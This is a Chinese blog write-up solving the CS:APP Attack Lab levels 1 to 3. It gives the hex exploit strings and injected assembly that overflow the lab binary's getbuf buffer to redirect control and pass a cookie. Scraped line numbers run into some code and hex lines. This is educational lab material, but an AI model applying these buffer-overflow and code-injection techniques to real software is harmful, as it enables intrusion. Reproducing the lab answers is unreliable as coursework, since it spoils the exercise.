脑袋一片浆糊,辣鸡而茫然
Attack Lab
此处Lab的主要目的是利用程序中的缓冲区溢出漏洞来实现对系统的攻击
Level1
第一个关卡不要求向程序中注入代码,而是需要输入一个「引爆字符串」来改变程序的运行轨迹,重定向运行另外一个函数。在 ctarget 中,getbuf 被函数 test 调用:
1 | void test() { |
我们希望 getbuf() 在返回后,调用函数 touch1 而不是输出 val 的值。1
2
3
4
5
6void touch1() {
vlevel = 1;
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
首先反汇编:objdump -d ctarget > touch.s
我们可以看到,getbuf 将 %rsp 移动了 0x28 也就是 40 字节。这也就意味着,在往上 4 个字节,就是返回到 test 的返回地址。所以,我们就可以利用缓冲区溢出将返回地址修改掉。
可以看到 touch1 的开始地址在 0x004017c0,所以我们输入的字符串可以是1
2
3
4
5
6
7
8
9
10
1100 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
c0 17 40 00
然后,我们将这个字符文件转换为字节码 ./hex2raw < touch1.txt > touch1solve.txt,然后执行 ./ctarget -q -i touch1solve.txt
Level2
第二阶段要求向程序中注入一小段代码,ctarget 中的 touch2 的 C 语言代码为:1
2
3
4
5
6
7
8
9
10
11void touch2(unsigned val) {
vlevel = 2; /*Part of validation protocol*/
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
这里使用缓存区作为代码执行区域,缓存区溢出后,将返回地址写为缓存区首地址,然后执行缓存区所存的指令,首先先找出缓冲区首地址
不多bb,看图;
可以看到首地址为0x5561dc78,顺便看到第6行也就是0x28个字节之后存放的原返回地址。
和Level1一样,覆盖原返回地址,另外还要写入攻击指令。
先将指令转为机器码。
movq $0x59b997fa,%rdi # rdi = cookie
movq $0x5561dc98,%rsp # 将rsp设为存放在栈中的touch2地址的地址
ret # 读取rsp指向的地址并跳转
利用gcc -c命令将汇编语句编译成机器码,再objdump -d生成的文件就可以间接地看到最终的机器码。
得到答案为1
2
3
4
5
648 c7 c7 fa 97 b9 59 48
c7 c4 98 dc 61 55 c3 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ec 17 40 00 00 00 00 00
78 dc 61 55 00 00 00 00
Level3
第三阶段同样要实现代码注入攻击,但是要传入一个额外的字符串。
在 ctarget 中 hexmatch 和 touch3 的 C 语言代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19/* compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
char cbuf[110];
/* make position of check string unpredictable*/
char* s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval) {
vlevel = 3;
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called You called touch3(\"%s\")\n", sval)
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
我们需要在引爆字符串中包含自己 cookie 的字符串表示,这个字符串应该是 8 个 16 进制数字,并以 0 为结尾。这个字符串的地址应该被保存在 %rdi 中。当函数 hexmatch 和 strncmp 被调用的时候,他们会把参数保存到栈上,这会覆盖 getbuf 写入的部分内容。所以,我们需要小心引爆字符串的存放位置。避开调用hexmatch和strncmp保存在栈上的位置。如果目标字符串存放的位置比touch3存放地址更低,在最终字符串对比的时候会发现rdi指向地址的内容发生了改变。
汇编代码为:1
2
3mov $0x5561dcb8,%rdi
pushq $0x4018fa
ret
构造字符串为:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1948 c7 c7 b8
dc 61 55 68
fa 18 40 00
c3 00 00 00
35 39 62 39
39 37 66 61
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
35 39 62 39
39 37 66 61
00 00 00 00